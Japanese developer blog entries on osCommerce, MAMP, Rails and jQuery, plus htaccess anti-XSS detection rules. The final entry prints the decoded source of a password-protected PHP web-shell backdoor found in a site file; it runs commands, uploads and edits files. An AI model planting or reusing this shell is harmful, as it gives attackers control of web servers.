2010/12/11

複数機能のJQueryを実装する際の問題

アコーディオン機能と奇数偶数行を色分けしてくれる機能を追加する。
大概の呼び出しはfunction()なのでほかに追加した場合ぶつかってコンフリクトして、片方の機能しか使えない場合がある。

そんな場合はこうする。↓

$(document).ready(function(){

$function(){
は同じ意味なので

jQuery(function($){

ヘッド間に記述したJavascriptの順序を調整して両方機能するようになる。

2010/12/10

foreachで連想配列をループする際に出るエラーについて

Warning: Invalid argument supplied for foreach() in
というのが出る。

基本的にはこう書いているが
if(is_array($data)){
foreach( $data as $b=>$v){
print $v;
}
}

こんな書き方も出来る(array)を入れるだけ。
foreach((array) $data as $b=>$v){
print $v;
}


配列データが無いときにもエラーメッセージは表示されない。

2010/11/29

oscommerceのalterをPHP5 Mysql5に書き換え

そろそろサーバーの方もphp5とMysql5を推奨してきているので
コチラも対応してゆかないと面倒だ。
サーバーで利用出来るバージョンは
  • Mysql5.077
  • PHP5.1.6推奨
  • PHP5.2.14
  • PHP5.3.3
どうせなら一番最新のバージョンでトライしようと思う

DBの文字コードは特に海外向けということもないのでEUCのまま。
UTF-8化はmb_stringとかややこしいのでそっとしておく。

こうなると基本的に直す箇所は2カ所。

DBにクエリを送っている箇所で left join を使用しているところ。
これのfromからleft joinを括弧でくくってやる。
left joinで探すと修正すべきファイルが羅列される。

account_history.php
advanced_search_result.php
checkout_process.php
default.php
products_new.php
product_reviews_info.php
product_reviews.php
popup_image.php

includes/classes/order.php
includes/modules/featured.php
includes/functions/general.php
includes/boxes/manufacturer_info.php

admin/languages.php
admin/orders.php
admin/products_attributes.php
admin/orders_csv.php
admin/customers.php
admin/includes/functions/general.php
admin/geo_zones.php
admin/edit_orders.php
admin/popup_image.php
admin/tax_rates.php

あとはsmartyでアサインしている箇所も修正が必要
まあフォルダ検索で共通の文字_smarty_objでリストアップして
ファイル検索で 『$this->』を『$』で全て置き換え。

$this->h_smarty_obj  → $h_smarty_obj
$this->smarty_obj   → $smarty_obj
$this->box_smarty_obj → $box_smarty_obj
$this->np_smarty_obj  → $np_smarty_obj
$this->fe_smarty_obj  → $fe_smarty_obj
$this->f_smarty_obj  → $f_smarty_obj

PHP5.3.3で使ってみると
Function session_is_registered() is deprecated
というエラーが出る。
セッション関連の関数が変わっているようなのだが
これもそっとしておいて一つバージョンを下げる方が手間が省ける。
チェックもしないといけないし。

ということでPHP5.2.14に落ち着く。

2010/11/18

macでバックスラッシュ

macで改行やエスケープ時に使うバックスラッシュを入力するとき
option/alt押しながら¥マーク。

いつも忘れる。

戻ってきたmacbook pro

先日macbook proの画面がスリープから立ち上がらない状態に、、
電源は入り、立ち上がっている様子だが画面が映らない。

考えられる操作をいろいろ試した上で反応がないのでジーニアスバーへ。

診断の結果ロジックボードがお亡くなりになられた模様、
修理の金額を聞いて、ちょっとお金を足せば最新のmacbook proが買えるので
一旦持ち帰りいろいろ調べてみると、どうやらこの症状は既知の問題で
タダで修理してくるという件を発見!

wiki=>ビデオ回路の初期不良
apple=>Macbook Pro ビデオ画像が歪む、またはビデオが表示されない問題

2008年の1月に入手したモデルで 2.2G Core2Duoの15inchなので該当している。
けど30数万出して買ったものが2年経たないうちに画面が映らなくなるなんて、
これで修理代がかかるとかになったら本当にあり得ない。

アップルが嫌いになりかけていました。

再びジーニアスに持っていって、リペアエクステンションプログラムのことを伝えて
無償で治るのであれば治してください、有償で修理をする際は連絡をくださいね。
と伝えて修理に預ける。

連絡が無いので電話してみると、『治ってますよ』
とのこと、念のため『無償で治ったんですね!?』と確認すると
『いえ、有償で修理されています』
『?、勝手に治したの??手違いだと思うからお店に行きます』
と伝えてジーニアスへ。

結局手違いだったとういうことで無償修理で戻ってきました。
嫌いになりかけてたアップルコンピューターがちょっと好きになりました。

2010/11/16

iphone iosをダウングレード

iphone 3Gにうっかりios4を入れて電話としての機能が調子悪くなったのでios3にダウンする事にした。ios4.1にすれば重たい状態がなくなるかと思いアップグレードしたが、ios4.0よりは軽く動くようになったものの電話としての機能が最低レベルに。

電話がかけられない、電波状態が良いのに電話が取れないなど。
あとSMSメッセージがたまに送れないなど。

まずする事は

iPhone OS 3.1.3 のファームウェアを探す


mac上のファームウェアの在処は「/ユーザー/ライブラリ/iTunes/iPhone Software Updates」のフォルダの中に、「iPhone1,2_3.1.3_7E18_Restore.ipsw」とか「iPhone1,1_3.1.3_7E18_Restore.ipsw」があるはず。
自分の場合は3GなのでこいつをDL!
3.1.3 (3G): iPhone1,2_3.1.3_7E18_Restore.ipsw

無ければiClarified - iPhone - Where To Download iPhone Firmware Files Fromにリリースされた iPhoneのすべてのファームウェアがあるので、そこからダウンロードする。
*ダウンロードするファイルに機種(3Gか3GS)の種類があるので間違えないように。

ついでにRecBootもダウンロードしておきます。iPhone OS 3.1.3にダウングレード後、
最後の起動の時に使います。

iPhoneをDFUモードにする


ファームウエアとRecBootを用意したらiPhoneをDFUモードに。
  • iPhoneをmacに接続する
  • スリープ/ロックボタンを数秒押して、iponeの電源を切る
  • スリープ/ロックボタンとホームボタン両方を10秒ほど押す
  • スリープ/ロックボタンから指を離し、ホームボタンだけそのまま押し続ける


「iTunesはリカバリモードのiPhoneを見つけました。」
というメッセージが表示されれば成功です。

表示されない場合は、接続するところからからやり直し。
※DFUモードに入ってるiPhoneを元に戻すには、
スリープ/ロックボタンとホームボタンの両方をしばらく押すと解除されます

iPhone OS 3.1.3にダウングレードする


復元しますか?みたいなメッセージのOKボタンをクリックし、
iTunesの「デバイス」の下にあるiPhoneを選択。
そして、alt/optionキーを押しながら復元ボタンをクリック
*alt/optionキーを押していないと普通にios4のソフトに復元される。

ituneのバージョンが古いと復元する際に『出来ません』となるので
ituneは最新版にアップデートしておきます。



復元が終わったら、エラーメッセージ(error 1015)が表示され(error 1015)、
iPhoneが「iTunesと接続」というスクリーンを表示して、立ち上がる。

ここでRecBootを使う


DLしたRecBootを開くと、2種類のappがあるので Exit Recovery Modeをクリックすると、
数秒でダウングレードした『3.1.3』で、iPhoneが立ち上がる。

これで工場出荷時の状態に戻ったので、あとはデータのバックアップからの復元
ios4以前のバックアップを探してバックアップ。無ければちーん。

詳しくはライフハッカーのページを参照のこと。

2010/10/21

IO Error アップローダー

先日テストしたアップローダー、ぐんぐんアップロード出来ていたはずが、
組み込みに使う為にセッティングを変えてテストしようとするとアップロードできない。
その時4つほど作ったけどどれも同じ反応。

1. アップロードできた風だがフォルダにデータは上がっていない。
2. もしくはキュー状態のまま。
3. とにかく即IO ERRORを返してくる。

フォルダのパーミッションか?変えてみたが効果なし。
それともサーバー側で拒否の呪文を入れられているか?

htaccessでの呪文。あまり入れたくないけど。

SecFilterEngine Off
SecFilterScanPOST Off


書き換えようとした際に思い出した!
いろいろアップロードされると困るので、
上層ディレクトリからhtaccessでBASIC認証入れてた!

解除したら元のように動いた。

2010/10/19

Rails環境をMAMPのhtdocs以下に作成

sampleというフォルダを作ってこれをRailsのフォルダとします。
MAMP以下に指定するばやい。長いけど忘れないように全て書いておきます。

$ rails new /Applications/MAMP/htdocs/sample
create
create README
create Rakefile
create config.ru
create .gitignore
create Gemfile
create app
create app/controllers/application_controller.rb
create app/helpers/application_helper.rb
create app/views/layouts/application.html.erb
create app/mailers
create app/models
create config
create config/routes.rb
create config/application.rb
create config/environment.rb
create config/environments
create config/environments/development.rb
create config/environments/production.rb
create config/environments/test.rb
create config/initializers
create config/initializers/backtrace_silencers.rb
create config/initializers/inflections.rb
create config/initializers/mime_types.rb
create config/initializers/secret_token.rb
create config/initializers/session_store.rb
create config/locales
create config/locales/en.yml
create config/boot.rb
create config/database.yml
create db
create db/seeds.rb
create doc
create doc/README_FOR_APP
create lib
create lib/tasks
create lib/tasks/.gitkeep
create log
create log/server.log
create log/production.log
create log/development.log
create log/test.log
create public
create public/404.html
create public/422.html
create public/500.html
create public/favicon.ico
create public/index.html
create public/robots.txt
create public/images
create public/images/rails.png
create public/stylesheets
create public/stylesheets/.gitkeep
create public/javascripts
create public/javascripts/application.js
create public/javascripts/controls.js
create public/javascripts/dragdrop.js
create public/javascripts/effects.js
create public/javascripts/prototype.js
create public/javascripts/rails.js
create script
create script/rails
create test
create test/performance/browsing_test.rb
create test/test_helper.rb
create test/fixtures
create test/functional
create test/integration
create test/unit
create tmp
create tmp/sessions
create tmp/sockets
create tmp/cache
create tmp/pids
create vendor/plugins
create vendor/plugins/.gitkeep
で作成されました。

Ruby on Rails に必要

インストールしたサーバーが10.4(Tiger)なので、付属するXCodeのバージョンは2.1
Rubyのgemsをインストールする際に警告される。

Warning: The installed version of Xcode (2.1) is known to cause problems. Version 2.5 or later is recommended on Mac OS X 10.4.

そのままインストールは続行されるが途中zlibの解凍作業でエラーが出る。
On Mac OS X 10.4, zlib 1.2.5 requires Xcode 2.4.1 or later but you have Xcode 2.1.
Error: Target org.macports.extract returned: incompatible Xcode version
Log for zlib is at: /opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_ports_archivers_zlib/main.log
Error: The following dependencies failed to build: ruby openssl zlib readline
Error: Status 1 encountered during processing.
To report a bug, see

結局のところXcode2.5以上のバージョンを用意せよとのこと。
アップルのデブ専に行ってみるしか無い。

あった!
Apple Developer の Downloads & ADC Program Assets
以下の developer toolsのページ。
コマンドFで 『Xcode』を探すと
Xcode 2.5 Developer Tools

Xcode 2.5 is an update release of Xcode developer tools, providing bug fixes over Xcode 2.4.1. Xcode 2.5 can be installed on Tiger (Mac OS X 10.4) or on Leopard (Mac OS X 10.5). Xcode 2.5 may be used on Leopard along side the Xcode 3.0 tools, providing a smoother migration path to Leopard for those projects not immediately ready to move to the Xcode 3 tools. See the release notes for Leopard support details and related packaging changes.
Download Name File Size Date Posted
Xcode 2.5 - Release Notes (PDF) 222 KB 02 Nov 2007
Xcode 2.5 Developer Tools (Disk Image) 902.9 MB 30 Oct 2007

発見。3.0よりも後に出ている。
Xcode3.0は10.5のインテル用なので無視。

Mac OS 10.4にRuby on Rail

まずはMacPortを入手。
これは開発に必要なパッケージをインストールするのに便利なモノ。
必要なバージョンはこちらから探して入手=>Mac Port

.dmgでパッケージが出てくるのでインストール。
インストールしたら、最新版にアップデート。
ターミナルからアップデートのコマンドをウツ。
$ sudo port -v selfupdate

インストール後、以下のコマンドを入力して
$ echo $PATH
『/opt/local/bin』が行頭に入っていれば成功。
/opt/local 以下にインストールしたパッケージが格納されます。

次にRubyGemのインストール
Rubyのライブラリを管理する便利なツールです。
先ほどインストールしたMacPortを利用してインストール。
$ sudo port install rb-rubygems

Tigerに標準装備のRubyは古いバージョンなので
以下のコマンドで最新バージョンになっているか確認。
$ ruby -v

RubyGemsが入ったので、あとはRailsのインストール。
Gemコマンドを使ってインストール。
$ sudo gem install rails --include-dependencies

以上でRailsのインストールは完了。

2010/10/17

MAMPの設定

あまり使わないローカルサーバーの設定。
使いたいときにアクセスすると、スタートページにはこんな表示。
Error: Could not connect to MySQL server!

MySqlと接続できていないとのことなので、設定ファイルを確認。
場所は以下の通りで、『$link = @mysql_connect』の行を探す。
/Applications/MAMP/bin/mamp/index.php

ルートパスワードを設定していないと駄目なので、先にそちらを設定して
設定したパスワードをこちらに入力してホゾン。
修正前
$link = @mysql_connect(':/Applications/MAMP/tmp/mysql/mysql.sock', 'root', 'root');

修正後
$link = @mysql_connect(':/Applications/MAMP/tmp/mysql/mysql.sock', 'root', 'パスワード');

関連するデータベースユーティリティーにも同じ設定をする。
/Applications/MAMP/bin/phpMyAdmin/config.inc.php

修正前
$cfg['Servers'][$i]['password'] = 'root';

修正後
$cfg['Servers'][$i]['password'] = 'パスワード';

これでMAMP再起動してつながればオッケ。

2010/07/27

htmlメール作成

個人的には無くてよいと思ってる。
しかし要求される事が比較的多いので、注意点を纏めておく。

  1. 文字コードはiso-2022-jpで作成する(メールの文字コードはiso-2022-jp)
  2. HTML 4.01 Transitionalで書く
  3. テーブルレイアウトで作成する
  4. デザイン幅は800px以下
  5. cssはインラインで書く(内部外部問わずJavaScriptなどは使わない方が良い)
  6. センタリングは、tableの入れ子で寄せる
  7. イメージはすべて絶対アドレス(http://~)で指定する
  8. <base></base>の指定を行う

で、ページを作ったらsafariでそのページを見てメールで送信

2010/04/14

Firefox2の脆弱性回避

IEと、Firefoxのバージョン2.0以降をインストールしているユーザーは、「非常に重大」なリスクにさらされている。攻撃者は、悪質なサイトをユーザーにIEで閲覧させることで、「firefoxurl://」というURLハンドラを利用しながら、ブラウザとウェブ上の特定のリソースとの間でやりとりをさせることが可能になる。この結果、ユーザーのシステムが遠隔地から悪用される可能性がある。
Friedrichs氏の指摘によると、10月にバージョン2がリリースされたFirefoxは人気を博しているが、IEはWindows OSに付属しているため、大半のFirefoxユーザーのPCにはIEもインストールされているという。

この問題のリスクに直面している人の数は膨大な可能性があると、同氏は加えた。

SecuniaのKristensen氏は、「新しいURIハンドラは、『firefoxurl:// 』が呼び出されたときに、サイトがFirefoxを強制的に起動できるように、Windowsシステムでサポートされた。『ftp://』や『http: //』などがほかのアプリケーションを呼び出すのと同じだ」と語っている。

しかし、FirefoxのURIハンドラには登録方法に問題があり、「firefoxurl://」を起動すると、(プログラムを呼び出して特定のタスクを実行するための)パラメータが、MicrosoftのInternet ExplorerなどのアプリケーションからFirefoxにすべて渡されてしまう。

攻撃者が「chrome」コンテキストを使い、Firefoxで実行可能なコードをユーザーのシステムに挿入する場合があると Kristensen氏は述べる。chromeとは、表示ページの外側にあるフレームのユーザインタフェース部品のこと。

Kristensen氏は、「Windowsは、アプリケーションにとって危険な入力を適切に把握する手段を持ち合わせていないため、URIハンドラの登録は慎重に行うべきである。たとえば、Windowsは『chrome』という文字列がFirefoxにとって危険なことを知るすべを持ち合わせていない」と語っている。
悪質なウェブサイトを回避する以外にも、システム管理者がFirefox URLのURLハンドラを削除したり、Firefoxによるchrome入力の受け入れ方法を変えることができると、Kristensen氏は語っている。

コチラの記事より


IEとFirefoxを一緒にコンピュータに入れている事で起こる問題ですね。Thunderbirdを一緒に利用している場合でもあるようですが、2.0.0.5では修正されている模様。
コマンドライン引数のインジェクションなので、レジストリの以下のキーを無効にしておけば良いようです。
HKEY_CLASSES_ROOT\FirefoxURL

2010/03/03

lightbox.js ライトボックスの画像位置について

まずはlightbox
http://www.lokeshdhakar.com/projects/lightbox2/

target="_blank"で画像を開くよりも、javascriptでページにオーバーレイして
美しく拡大画像を表示してくれる。なんならtitle=""でキャプションも。

静的な箇所のデザインはcssで決められているが、画像サイズによりウインドウの任意の位置にレイアウトしている様な動的なレイアウトは、javascriptで画像サイズを取得してオーバレイしている箇所にスタイル記述している。

デフォルトの表示位置はユーザビリティ的に使いにくいので、10pxほど上げると良い感じ。なはず。
という事でjavascriptのファイルからこの数値を導きだしている呪文をさがす。

『lightboxTop』が表示位置上端のy座標なので、この記述がある近辺を見るとコレ。
lightbox.jsの画像表示位置に関する行は271行目
var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 10);
ん〜感でいくと
document.viewport.getHeight()ブラウザ表示エリアの高さを取得してるっぽいので
lightboxTopの初期値は、ブラウザ表示エリアの高さ(Y軸)の1/10の座標?

簡単にコレの半分で自分が求める高さなのでこうする
var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 20);

これで書き換え、アップロードしてチェック!
見やすくなった。

2010/02/24

フリーのweb制作環境


オープンソース
Oscommerce
ZEN-CART
XOOPS
EC-CUBE
WORD PRESS
MOVABLETYPE

Javascript
Jquery

2010/02/05

Mysql Dumpの不具合

Warning: reset(): Passed variable is not an array or object in /home/httpd/vhosts/ほげほげ.com/httpdocs/admin/includes/classes/object_info.php on line 17

Warning: Variable passed to each() is not an array or object in /home/httpd/vhosts/ほげほげ.com/httpdocs/admin/includes/classes/object_info.php on line 18



SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";

NO_AUTO_VALUE_ON_ZERO は、AUTO_INCREMENT カラムの処理に影響を与える。通常、NULL または 0 のいずれかをカラムに挿入することにより、カラムの次のシーケンス番号を生成する。 NO_AUTO_VALUE_ON_ZERO を指定すると、0 のこの働きが抑制されるため、NULL だけが次のシーケンス番号を生成することになる。このモードは、0 がテーブルの AUTO_INCREMENT カラムに保存されている場合に役に立つ(これは推奨されている方法ではないが)。

たとえば、mysqldump でテーブルをダンプしてから再読み込みした場合、MySQL は通常、0 値に遭遇したときに新規シーケンス番号を生成するため、ダンプされたテーブルと再読み込みしたテーブルの内容が異なる結果になる。この場合、ダンプしたファイルを再読み込みする前に NO_AUTO_VALUE_ON_ZERO を有効にするとこの問題が解決する(このオプションが使用可能になった MySQL 4.1.1 以降、mysqldump によるダンプ出力には、自動的に NO_AUTO_VALUE_ON_ZERO を有効にするためのステートメントが含まれている)。

/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";

なので、データのエクスポート時にはMySql互換モードでこの一言を入れる
compatible=mysql323

もいっちょCREATE TABLE構文より

整数型カラムは追加属性 AUTO_INCREMENT を持つことができる。 インデックス付きの AUTO_INCREMENT カラムに NULL(推奨)または 0 を挿入すると、そのカラムには連続値の次の値が設定される。 通常、これは value+1 になる(value はテーブルに現在格納されているそのカラムの最大値)。 AUTO_INCREMENT は 1 から開始される。 項11.1.3.32. 「mysql_insert_id()」

MySQL 4.1.1 以降では、--sql-mode サーバオプションまたは sql_mode サーバ変数に対して NO_AUTO_VALUE_ON_ZERO フラグを指定することによって、新しい連続値を生成する代わりに、AUTO_INCREMENT カラムに 0 を 0 として格納することができる。 項4.1.1. 「mysqld コマンドラインオプション」

AUTO_INCREMENT カラムの最大値が入ったレコードを削除した場合、その値は ISAM テーブルや BDB テーブルでは再利用されるが、MyISAM テーブルや InnoDB テーブルでは再利用されない。DELETE FROM table_name(WHERE 節なし)を AUTOCOMMIT モードで実行してテーブル内のすべてのレコードを削除した場合、InnoDB を除くすべてのテーブル型で、連続値が初めから開始される。項7.5.12.5. 「InnoDB での AUTO_INCREMENT カラムの仕組み」

注意: AUTO_INCREMENT カラムはテーブルごとに 1 つだけ存在できる。このカラムにはインデックスを付ける必要があり、また DEFAULT 値は設定できない。 MySQL バージョン 3.23 では、AUTO_INCREMENT カラムは、正の値だけを持つ場合にのみ正しく機能する。負の数値が挿入されると、その値はきわめて大きな正数としてみなされる。 これは、数値が正の数から負の数に ``折り返す'' ときに発生する精度の問題を回避するためと、0 が入った AUTO_INCREMENT カラムが誤って取得されないようにするためである。

MyISAM テーブルと BDB テーブルでは、複合インデックスで AUTO_INCREMENT セカンダリカラムを指定できる。 See 項3.6.9. 「AUTO_INCREMENT の使用」

2010/02/03

RSS2に対応する為に文字コードの統一

フィードのチェックはfeedanalizerから

URL : http://フィーダーのURL
ステータス : OK (200)
サーバー : Apache/2.0.52 (CentOS)
更新時間 : 不明
ファイルサイズ : 不明
コンテンツタイプ : application/xml ("charset" は "us-ascii" になります)
スペック : RSS2.0 encode=utf-8
タイトル : タイトル
警告 このサーバー(または拡張子)は If-Modified-Sinceに対応しません。
警告 サーバーの "charset" と フィードの "encode" を一致させることをお薦めします。

構文を確認したところ問題はありませんでした。

となったらhtaccessで制御
#サーバーの "charset" と フィードの "encode" をUTFで一致させる
AddType "application/xml; charset=UTF-8" xml

#xmlのIf-Modified-Sinceに対応
AddHandler default-handler xml

忘れがちな最後の改行。忘れると機能しない。

8. HTTP 1.1によるXML文書構成単位の配送

サーバがXML文書構成単位を配送するときの文字符号化スキームとしては,UTF-16又はUTF-8のいずれかを使用する。

参考 1 ISO-2022-JP及び日本語EUC(圧縮形式)も許容する予定であったが, [JIS X 0221]及び [Unicode 2.0]への変換表を一つに決定できないため, 現在はそれを見合わせている。変換表を一意に確定させてこれらを許容する可能性は残されている。この標準情報(TR)で導入した複数の名前をそのまま許容する可能性も残されている。

参考 2 交換性が保証されないことを了解した上で, ISO-2022-JP及び日本語EUC(圧縮形式)を使用するのは利用者の自由である。

HTTP 1.1([IETF RFC 2068])による配送では,メディアタイプtext/xml又はapplication/xmlを用い,charsetパラメタを正しく付ける。メディアタイプがapplication/xmlであり,XML文書中の BOM又は符号化宣言で文字符号化スキームを明示してある場合だけは, charsetパラメタを省略できる。

参考 1 [IETF RFC 2376]はcharsetパラメタを強く推奨している。text/xmlの場合は,charsetパラメタとして指定されたcharset名がBOM及び符号化宣言より優先する。省略した場合はUS-ASCIIであると見なされる。

参考 2 US-ASCIIで符号化されたXML文書の場合は,メディアタイプが text/xmlの場合でもcharsetパラメタを省略できるが,US-ASCIIの文書は日本語文字を含んでいないので,この標準情報(TR)の適用範囲外である。

参考 3 サーバの設定によって,XML文書構成単位を格納したファイルと,メディアタイプ(text/xml又はapplication/xml)及び文字符号化スキームを表すcharset名とを関係付けなければならない。正しく設定されていれば,サーバがXML文書構成単位を配布するとき,設定されたメディアタイプがcontent-type フィールドの値として利用され,設定されたcharset名がメディアタイプのcharset パラメタの値として利用される。

クライアントは,このcharsetパラメタに従って文字符号化スキームを判定する。text/xmlのcharsetパラメタが省略された場合はUS-ASCIIであると判定する。 application/xmlのcharsetパラメタが省略された場合は情報交換用ファイルと同様に自動検出する。

参考 この規定は[IETF RFC 2376]にある。

2010/02/02

oscommerce - EUCからUTF-8に移行

oscommerceはデフォルトでEUC推奨なので全てEUCだ。
データベースにMySql4を使っているので、MySql5に移さないと使えない。
作業的にはこんな順序かな?

oscommerceのファイルバックアップ

データベースのバックアップ

スクリプトの修正Mysql4=>MySql5
../catalog/default.php
../catalog/advanced_search_result.php


言語ファイルのCHARSETをUTF化と全ての書類のUTF化
(書類の文字コードもUTF-8のLF改行で統一)
../catalog/includes/languages/japanese.php

サーバー設定をlocalhostからMySql5のサーバーに変更(UTF-8)

バックアップしたsqlファイルを開きデータを確認。日本語等が文字化けしてsyntaxエラーを引き起こすのですが、出たら出たでエラーレポートを見てエラーの周辺の行をチェックして修正または削除。¥r¥nの削除または『¥』を『\』(バックスラッシュ)に置き換え

DBをドロップしてMySQL5へ切り替え(照合順序はutf_general_ci)
DBにUTFのsqlファイルをインポート15MBまでならphpMyadminでGO

修正したファイルをアップロード

カテゴリーが文字化けする場合はキャッシュが効いているので、管理画面より
[各種ツール]=>[キャッシュコントロール]=>カテゴリーボックスのキャッシュブロックを削除

フッターの文字化けは大概日付。
../catalog/includes/languages/japanese.phpの以下の箇所
define('DATE_FORMAT_LONG', '%Y年%m月%d日(%a)'); // this is used for strftime()
これを
define('DATE_FORMAT_LONG', '%Y年 %m月 %d日'); // this is used for strftime()
こう(半角開けただけ)

OscommerceにTwitterボタン

まずtwitterで呟くからには文字コードがutf-8でなければならない。

oscommerceの文字コードはEUC-JP
UTF-8に移行する方法は後にして、、


投稿するにはこうする
http://twitter.com/home?status=RT:@ユーザー 書き込みたい事

なので書き込みたい事に商品タイトルを入れてみる

echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . "\" target=_blank>\n";?>

リンクが欲しいのでそのページのURLを取得する

そしてページのURLを組み込んでボタンを作ってみる
たとえばtwitter.gifなんてしてみて、、
../catalog/includes/language/japanese/images/button/
にアップロードして次のファイルを編集
../catalog/includes/language/japanese.phpに
define('IMAGE_BUTTON_TWEET', '呟く');
と一行挿入してアップロード
で、以下のコードをproduct_info.phpに貼付けて完成
<!-- Twiter Button BEGIN -->
<?php
$url = $_SERVER['REQUEST_URI'];
echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . " http://dubfactory.com" . $url . "/" target=_blank>\n";?><?php echo tep_image_button('button_twitter.gif', IMAGE_BUTTON_TWEET); ?></a>
<!-- Twitter Button END -->

現在のページ(カレントURL)をphpで取得する

ヘッダやフッタなど、ほぼ全ページに渡って同じ内容だと思うのだが、これを更新するときはどのようにしているだろうか。私は Dreamweaver 嫌いなので、テンプレート機能は使わない。テンプレートを更新すると、テンプレートを使っているページ全てをアップロードしなければならないので、面倒だし危険性(先祖返り)の可能性もある。

もうお気づきだろうが、私は ssi を使用している。これならば ssi だけをアップロードすれば良いし、php を ssi にすればレイアウトは同じでページ毎にやや違うといった、メニューやパンくずリストにも使える。

まず、php で現在ページを取得する。

$url = $_SERVER['REQUEST_URI'];

これで ssi として php を読み込んでいる側の html の url を取得できる。そしてこの取得した url を使って条件分岐を行う。
その前に、/index.html と / を分岐させなくてもいいように、置換しておく。

$url = str_replace("index.html", "", $url);

もしこの ssi がタイトルやメタ情報など、ページごとに違う用途に使うのであれば、$url に対する switch で分岐を行い、メニューのようにディレクトリごとに違う用途であれば、$url にディレクトリ名を strpos で探し、分岐を行う。

これでメタ情報だろうがメニューだろうがパンくずだろうが ssi にすることができ、更新が楽になる。

2010/01/26

アンチクロスサイトスクリプティング - anti XSS

シンプルな対策としてhtaccessに以下を記述
攻撃者に対して返すファイルを設置(fuckyou.php)


#アンチXSS(クロスサイトスクリプト対策)
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*¥(.*¥) [OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*script.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*iframe.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|¥[|¥%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|¥[|¥%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ fuckyou.php [F,L]
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

base64_decode - セキュリティ強化

なにげに言語ファイルを覗いていると、言語ファイルの冒頭に
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>

なるものを発見

base64_encorderで内容をエンコードしてみると以下のようになる。

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
if ($os=='win')
{

$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}

if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
